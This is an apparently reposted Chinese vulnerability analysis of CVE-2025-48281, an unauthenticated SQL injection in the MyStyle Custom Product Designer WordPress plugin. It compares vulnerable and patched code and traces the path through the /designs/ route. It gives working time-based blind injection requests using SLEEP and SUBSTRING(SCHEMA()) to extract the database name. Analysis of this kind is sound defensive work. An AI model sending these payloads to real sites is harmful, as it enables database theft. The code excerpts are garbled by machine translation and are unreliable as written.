文章总结: 本文剖析WordPress插件MyStyleCustomProductDesigner的CVE-2025-48281未认证SQL注入漏洞。攻击者可利用/designs/路由中orderby参数过滤不严的缺陷,构造恶意语句进行盲注。官方补丁采用白名单机制修复此问题。建议开发者严格验证用户输入,使用$wpdb->prepare()预处理语句,并及时更新插件版本以确安全。 综合评分: 92 文章分类: 漏洞分析,漏洞预警,WEB安全,漏洞POC,代码审计
CVE-2025-48281 SQL注入
原创
匆匆过客 匆匆过客
天启攻防实验室
2026年2月6日 17:17 广东
更多实战在星球:
该漏洞存在于 MyStyle Custom Product Designer WordPress 插件 3.21.2 之前的版本中。这可能导致攻击者直接与您的数据库交互,包括但不限于数据窃取。
·CVE 编号: CVE-2025-48281
·产品: WordPress MyStyle Custom Product Designer 插件
·漏洞类型: SQL注入
·受影响版本: <= 3.21.1
·CVSS 严重性: 高 (9.3)
·所需权限: 未认证
环境要求
·本地 WordPress 与调试环境: Local WordPress and 调试.
·MyStyle Custom Product Designer: v3.21.1 (存在漏洞) 和 v3.21.2 (已修复)
·差异对比工具: meld 或任何可以比较两个版本差异的工具
·已激活的 WooCommerce 插件: 在安装 MyStyle 插件之前,WooCommerce 必须处于激活状态,因为 MyStyle 插件使用了 WooCommerce 的一些函数。
分析
根本原因在于应用程序将来自 GET 请求的数据直接注入到 SQL 查询中,而没有进行适当的验证/控制。
补丁差异分析
使用任何差异对比工具来比较存在漏洞和已修复的版本。 在文件 includes/entities/类-mystyle-designmanager.php 中存在明显的差异。
publicstatic 函数 get_designs( $per_page=250, $page_number=1, WP_User $user=null ) { global$wpdb;
// Add 安全 WHERE clause. $where=self::get_security_where_clause( ‘WHERE’, $user );
if ( !empty( $_GET[‘orderby’] ) ) { $order =’ ORDER BY ‘. sanitize_text_field( wp_unslash( $_GET[‘orderby’] ) ); $order.=!empty( $_GET[‘order’] ) ?’ ‘. sanitize_text_field( wp_unslash( $_GET[‘order’] ) ) :’ ASC’; } else { $order=’ ORDER BY ms_design_id DESC’; }
$results=$wpdb->get_results( $wpdb->prepare( ‘SELECT * ‘ .”FROM {$wpdb->prefix}mystyle_designs ” .$where .$order .’ LIMIT %d OFFSET %d’, 数组( $per_page, ( $page_number-1 ) *$per_page, ) ), ‘对象’ ); // other logic }
Data from $_GET[‘orderby’] is injected directly into the SQL 查询 without proper 验证. Using only sanitize_text_field() 和 wp_unslash() only removes or escapes characters and does not guarantee safety. Therefore, SQLi is possible.
publicstatic 函数 get_designs( $per_page=250, $page_number=1, WP_User $user=null ) { global$wpdb;
// Add 安全 WHERE clause. $where=self::get_security_where_clause( ‘WHERE’, $user );
if ( !empty( $_GET[‘orderby’] ) ) { $orderby= sanitize_text_field( wp_unslash( $_GET[‘orderby’] ) ); $order =!empty( $_GET[‘order’] ) ? sanitize_text_field( wp_unslash( $_GET[‘order’] ) ) :’ASC’;
// Validate order direction to prevent SQL注入. $allowed_orderby= 数组( ‘ms_design_id’, ‘ms_title’, ‘ms_access’, ‘ms_email’, ‘ms_date_created’, ‘ms_date_modified’, ); $orderby=in_array( strtolower( $orderby ), $allowed_orderby, true ) ?$orderby:’ms_design_id’;
$order=in_array( strtoupper( $order ), 数组( ‘ASC’, ‘DESC’ ), true ) ?$order:’ASC’;
$order=’ ORDER BY ‘.$orderby.’ ‘.$order; } else { $order=’ ORDER BY ms_design_id DESC’; }
$results=$wpdb->get_results( $wpdb->prepare( ‘SELECT * ‘ .”FROM {$wpdb->prefix}mystyle_designs ” .$where .$order .’ LIMIT %d OFFSET %d’, 数组( $per_page, ( $page_number-1 ) *$per_page, ) ), ‘对象’ ); // other logic }
The patch implements a whitelist ($allowed_orderby) that explicitly defines allowable columns for ordering. If the orderby 值不在允许列表中,则会被替换为默认值 ‘ms_design_id’ — preventing injection of malicious payloads.
How it works
The 漏洞 is in the get_designs 函数 of the MyStyle_DesignManager 类 (文件 includes/entities/类-mystyle-designmanager.php)。要找到它的调用位置,可以搜索 get_designs within the 插件 folder.
👉 get_designs is called from get_items, init_index_request 和一些测试函数(不相关)。
由于这是一个未认证漏洞,我们必须识别哪些函数可以在没有认证的情况下被调用。
get_items() 函数
get_items is in the MyStyle_Wp_Rest_Api_Design_Controller 类 (file includes/wprestapi/类-mystyle-wp-rest-API-design-controller.php).
The code before calling get_designs 不处理认证,因此我们必须检查 REST 路由使用的权限回调函数。get_items 是使用 register_rest_route() in WordPress.
public 函数 register_routes() { $version =’2′; $vendor =’wc-mystyle’; $namespace=$vendor.’/v’.$version; $base =’designs’; register_rest_route( $namespace, ‘/’.$base, 数组( 数组( ‘methods’ => WP_REST_Server::READABLE, // GET ‘回调函数’ => 数组( $this, ‘get_items’ ), ‘permission_callback’ => 数组( $this, ‘get_items_permissions_check’ ), ‘args’ => 数组(), ) ) ) // other logic }
However, before the 回调函数 is invoked, the get_items_permissions_check 函数 runs — we need to know whether an anonymous user can call this API. Search for get_items_permissions_check.
👉 get_items_permissions_check 调用了 wc_rest_check_manager_permissions to verify permissions with $对象 = ‘settings’. Because wc_rest_check_manager_permissions is defined in the WooCommerce 插件 (not in this 插件), we need to inspect its behavior.
·wc_rest_check_manager_permissions is defined in the WooCommerce 插件.
·The settings mapping leads to manage_woocommerce。
·它调用 current_user_can( ‘manage_woocommerce’ ) to check user capability => only 管理员 (or users with manage_woocommerce capability).
👉 Therefore we cannot 漏洞利用 via get_items => we should try to 漏洞利用 via init_index_request.
init_index_request() 函数
init_index_request is in the MyStyle_Design_Profile_Page 类 (file includes/pages/类-mystyle-design-profile-page.php).
The code prior to calling get_designs doesn’t involve 认证, so we move on. init_index_request is invoked by the init 方法。
public 函数 init() { // Check if the current page is /designs if ( !self::is_current_post() ) { return; }
// other logic $design_id=self::get_design_id_from_url();
// Only runs when the following POST variables are present => not relevant if( isset( $_POST[‘delete_design_nonce’] ) && wp_verify_nonce( sanitize_key( $_POST[‘delete_design_nonce’] ), ‘mystyle_delete_design_nonce’ ) ) {
$design= MyStyle_DesignManager::get( $design_id, $user, $会话 ) ; if ( $design ) { // Check if the user is the owner of the design or an 管理员. if ( current_user_can( ‘管理员’ ) || MyStyle_DesignManager::is_user_design_owner( $this->user->ID, $design_id ) ) { // restrict the design access to 2 (deleted). $design->set_access( 2 ); MyStyle_DesignManager::persist( $design ); $this->delete_design_success_message =’Design has been successfully deleted.’; } } }
if ( false===$design_id||preg_match( ‘/page/’, $design_id ) ) { $design_profile_page->init_index_request(); } else { $design_profile_page->init_design_request( $design_id ); } }
对于 init_index_request to be called, the if condition must be true. We need to know what $design_id is — it’s determined by get_design_id_from_url which is called via self::get_design_id_from_url.
publicstatic 函数 get_design_id_from_url() { // Try the 查询 vars ( ex: &design_id=10 ). $design_id= get_query_var( ‘design_id’ ); if ( preg_match( ‘/page/’, $design_id ) ) { $design_id=false; } elseif ( empty( $design_id ) ) { // ———- try at /designs/10. ——– // phpcs:ignore $path=$_SERVER[‘REQUEST_URI’];
// Get the design profile page’s WP_Post slug. /* @var $post \WP_Post phpcs:ignore */ $post= get_post( self::get_id() ); $slug=$post->post_name;
$pattern=’/^.*\/’.$slug.’\/([\d]+)/’; if ( preg_match( $pattern, $path, $matches ) ) { $design_id=$matches[1]; } else { $design_id=false; } // ————————————- }
return$design_id; }
👉 This 函数 reads design_id from the URL, so if you do not include it in the URL when sending a 请求 => the if condition becomes true => init_index_request 被调用。
回到 init, it is called from this 类’s constructor (__construct).
public 函数 __construct() { // other logic add_action( ‘init’, 数组( &$this, ‘rewrite_rules’ ) ); add_action( ‘template_redirect’, 数组( &$this, ‘init’ ) ); }
init is registered as a 回调函数 on the template_redirect 钩子 —— WordPress 中的一个动作钩子,在模板实际加载并发送到浏览器之前运行。
在 template_redirect 钩子 in the constructor, the init 钩子 is also registered with the 回调函数 rewrite_rules:
public 函数 rewrite_rules() { // Flush rewrite rules for newly created rewrites. flush_rewrite_rules();
add_rewrite_rule( ‘designs/([a-zA-Z0-9_-].+)?$’, // designs/{slug} ‘index.php?pagename=designs&design_id=$matches[1]’, ‘top’ ); }
This adds the route /designs/{id} to load the designs 页面并传递 design_id。
👉 因此,当访问 /designs/:
·The rewrite_rules 回调函数 runs, WordPress loads /index.php?pagename=designs&design_id=.
·Since design_id has no value, get_design_id_from_url returns false => the condition false === $design_id becomes true so init_index_request 被调用。
·init_index_request calls get_designs.
·get_designs directly reads orderby 参数并直接将其插入到 SQL 查询中。
漏洞利用
检测 SQL 注入
发送包含 SQL 注入有效载荷的 GET 请求。
GET /designs/?orderby=(SELECT+SLEEP(5)) HTTP/1.1 Host: localhost … Cookie: cookie_here
生成的 SQL 语句变为:
SELECT*FROM wp_mystyle_designs WHERE ms_access =0 ORDERBY (SELECT SLEEP(5)) ASCLIMIT25 OFFSET 0
👉 根据响应时间判断 => 有效载荷生效。
在这种情况下,不要在 SLEEP 后面附加注释。因为开发人员有一个换行符,将 OFFSET 移到了下一行;如果你将其注释掉,SQL 解析器可能会返回错误。
该链将被分割成两行不同的查询,从而导致错误:
SELECT*FROM wp_mystyle_designs WHERE ms_access =0 ORDERBY (SELECT SLEEP(5)) — ASC LIMIT 25 OFFSET 0
获取数据库名称的第一个字母
转储数据的前提是能够提取数据库名称的单个字符 —— 如果你能获取一个字符,通常就能转储其余部分。
发送带有 SQL 注入有效载荷的请求:
GET /designs/?orderby=IF(SUBSTRING(SCHEMA(),1,1)=0x77,SLEEP(5),1) HTTP/1.1 Host: localhost … Cookie: cookie_here
这使用了 SUBSTRING() to get the first character of the 数据库 name, and IF() returns SLEEP(5) if that character equals 0x77 (‘w’).
Hex encoding w as 0x77 is used because orderby 参数可能被 WordPress 的魔术引号转义。
👉 根据响应时间判断 => 第一个字符是 w。
结论
WordPress MyStyle Custom Product Designer 插件在 3.21.2 版本之前存在的 CVE-2025-48281 漏洞,源于将用户控制的输入未经充分验证直接插入到 SQL 中,导致了 SQL 注入。
官方补丁实现了一个白名单机制,确保输入得到验证,从而更加安全。
关键要点:
·严格验证用户输入。
·在 WordPress 中操作数据库时,始终使用 $wpdb->prepare() 以避免 SQL 注入。
·定期更新插件并进行安全检查,以避免成为攻击目标。
加入技术交流群:
#
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:天启攻防实验室 匆匆过客 匆匆过客《CVE-2025-48281 SQL注入》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论